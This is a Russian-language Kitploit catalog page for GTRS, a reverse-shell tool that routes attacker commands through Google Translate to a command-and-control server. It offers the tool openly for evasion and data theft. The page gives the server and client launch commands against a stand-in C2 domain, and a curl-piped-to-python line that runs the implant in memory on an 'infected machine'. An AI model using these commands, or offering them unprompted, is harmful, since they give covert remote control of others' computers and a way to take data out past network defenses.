Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/mthbernardes/gtrs
Обход IDS/IPSЭксфильтрация данныхКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHubmthbernardes/gtrs

GTRS

GTRS — реверс-шелл Google Translator

Репозиторий
6249941 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GTRS - Обратная оболочка через Google Переводчик

Этот инструмент использует Google Переводчик в качестве прокси для отправки произвольных команд на зараженную машину.

root@kitploit:~
[ЗАРАЖЕННАЯ МАШИНА] ==HTTPS==> [GOOGLE TRANSLATE] ==HTTP==> [C2]

Настройка окружения

Сначала вам понадобится VPS и домен, бесплатный домен можно получить на Freenom.

Сервер

Запустите server.py на вашем VPS

root@kitploit:~
python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062

Он предоставит вам секретный ключ, который будет использоваться на клиенте.

Клиент (bash)

Запустите клиент на компьютере с доступом к Google Переводчик, указав домен и секретный ключ, сгенерированный сервером.

root@kitploit:~
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

Теперь у вас есть интерактивная оболочка, использующая именованные каналы, ДА вы можете выполнять cd в каталоги.

Клиент (Go)

Сначала нужно скачать бинарный файл или скомпилировать его, затем процесс аналогичен bash-клиенту,

root@kitploit:~
./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

С этим клиентом вы можете запускать его на Linux, Mac и Windows, но интерактивной оболочки пока нет.

Выполнение ELF в памяти (только Linux)

После прочтения этого поста в блоге я сделал простую адаптацию для выполнения GTRS в памяти: просто отредактируйте хост и ключ в скрипте inmemory-linux.py, затем разместите его на сервере и выполните через curl.

root@kitploit:~
curl https://yourserver.ml/inmemory-linux.py | python

Или вы можете разместить скрипт, используя подход с YouTube.

PoC

CODE_IS_CHEAP_SHOW_ME_THE_DEMO

Известные проблемы

  • Google Translate не пересылает POST-данные, поэтому существует ограничение на объем данных, которые может получить ваш сервер; например, вы, вероятно, не сможете прочитать большой файл, например .bashrc. Problem fixed using User-Agent header to sent data.
  • Клиентский скрипт работает на Mac и Linux, но в Linux необходимо установить xmllint, который находится в libxml2-utils `Problem fixed, now the client is write also in go.
  • Это не проблема, но я просто не знаю, есть ли ограничение на количество запросов в Google Translate.
Скачать инструмент